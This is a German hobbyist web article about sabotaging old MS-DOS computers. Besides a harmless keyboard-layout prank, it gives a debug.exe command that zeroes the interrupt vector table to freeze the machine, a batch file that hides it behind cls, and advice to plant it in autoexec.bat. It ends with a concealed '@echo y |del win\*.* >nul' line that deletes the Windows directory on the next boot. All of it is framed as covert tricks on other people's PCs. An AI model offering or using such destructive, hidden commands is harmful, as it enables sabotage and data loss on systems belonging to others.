Einige der Darstellungen auf dieser Seite erfordern Kenntnisse der alten MS-DOS Umgebung. Alle Begriffe zu erklären würde den Umfang dieses Artikels sprengen.
Wie denn – MS-DOS? Gibt's DOS denn noch?
Also gut, die Zeiten von MS-DOS sind ja seit Windows 7 wohl endgültig vorbei. Aber es gibt immer noch ein paar Nostalgiker und Sammler, die ihre alten Rechner ab und zu mal Gassi
führen. An diese Herrschaften ist dieser Beitrag gerichtet, bzw. an die jenigen, die sich über die Sammler alter PCs ärgern.
Wenn man keinen Schaden anrichten will, kann man den Benutzer z.B. damit durcheinander bringen, dass man im Vorbeigehen die Tastenkombination Alt+Strg+F1 drückt. Damit wird die Tastatur vom deutschen auf den amerikanischen Zeichensatz umgeschaltet. Die Umlaute sind dann nicht verfügbar und die meisten Interpunktions- und Sonderzeichen liegen auf anderen Tasten als gewohnt.
Mit Alt+Strg+F2 wird der normale Zustand wiederhergestellt.
Wer einen DOS-RechnerEin »IBM-kompatibler« PC mit MS-DOS 2.0 bis 6.2 zum sofortigen Absturz bringen will, der kann auf der Kommandozeile mal Folgendes ausprobieren:
f 0:0 ff 0 |debug
f = fill {Start} {Length} {Value}Fill 0000:0000 FF 0| debug
Fülle ab 0:0 256 Bytes mit 0.| debug
bedeutet:
„sende das an” debug.exe
Sofort friert der Rechner ein und lässt sich nur noch mit der Reset-Taste aus seiner Agonie erwecken.
Verräterisch ist, dass dabei die Anweisung auf dem Bildschirm stehen bleibt. Wie man Abhilfe schafft …einblendenausblenden
Mit dem folgenden Code, nacheinander genau so eingetippt, wird eine Batch-Datei erzeugt, die den Bildschirm löscht, bevor sie die fatale Anweisung an den Debugger sendet.
echo @cls >c.bat
echo @f 0:0 ff 0 |debug >>c.bat
c
Was dabei passiert:
Der DebuggerDEBUG.EXE
Programm mit Maschinensprache-Monitor zum direkten Zugriff auf den Speicher und Dateien.
Das Besondere: DEBUG.EXE akzeptiert Befehle, die von einer anderen Quelle als der Standard-Eingabe wie z.B. einer Datei oder per Verkettung | von der Kommandozeile stammen. wird aufgerufen und ihm die Zeichenfolge f 0:0 ff 0
Fill from 0:0 FFh (256) Bytes with 0 übergeben. Die Speicherstellen 0000:0000h bis 0000:00FFh werden mit dem Wert 0 gefüllt. Da sich dort die Interruptvektoren-TabelleEine Liste von Einsprungadressen für Software-Interrupts.
Diese werden von Anwendungsprogrammen benutzt, um z.B. Zeichen von der Tastatur zu holen und auf dem Bildschirm auszugeben, Schnittstellen oder Dateien zu lesen und zu verwalten, und vieles mehr. befindet, werden die Interrupts 00h bis 40h40h = 64 (dez.) × 4 Bytes pro Vektor = 256 Bytes. auf die Speicherstelle 0000:0000h umgeleitet und dort steht 0000:0000. Jeder Interrupt, also Tastatureingabe, Ausgabe auf den Bildschirm, Geräte-E/A usw. bewirken ab sofort nichts mehr und ein Hardware-Reset wird erforderlich.
Wer ganz fies sein will, der kann diese Sequenz ja in die autoexec.bat schreiben. Bei jedem Neustart hängt sich dann der Rechner auf. Mit einer Boot-Diskette lässt sich die böse Anweisung wieder entfernen.
Wer richtigen Schaden anrichten will, kann den Befehl
@echo y |del win\*.* >nul
klammheimlich in die autoexec.bat schreiben und sich dann vom Acker machen, ohne den Rechner auszuschalten.
Der Befehl del
dient zum Löschen von Dateien, die Angabe win\*.*
bezieht alle Dateien im Verzeichnis win
in die Löschung ein.
Die Sequenz echo y |
sendet das Zeichen y
als Eingabe an den nachfolgenden del
-Befehl. Dies ist erforderlich, weil DOS natürlich wissen will, ob man wirklich alle Dateien in win\
löschen will. Das @
verhindert die Anzeige der Befehlszeile auf dem Bildschirm und >nul
leitet alle Ausgaben des del
Befehls nach NUL: um, wodurch sie nicht angezeigt werden.
Dies ist die Krönung der Fiesheit. Windows läuft ohne Probleme, bis der Rechner ausgeschaltet wird, beim nächsten Neustart wird jedoch Windows gelöscht, bevor es aufgerufen wird.
Der PC bringt dann nur die Fehlermeldung Falscher Befehl oder Datei nicht gefunden
woraufhin der Benutzer dann erstmal ratlos sein dürfte...
_____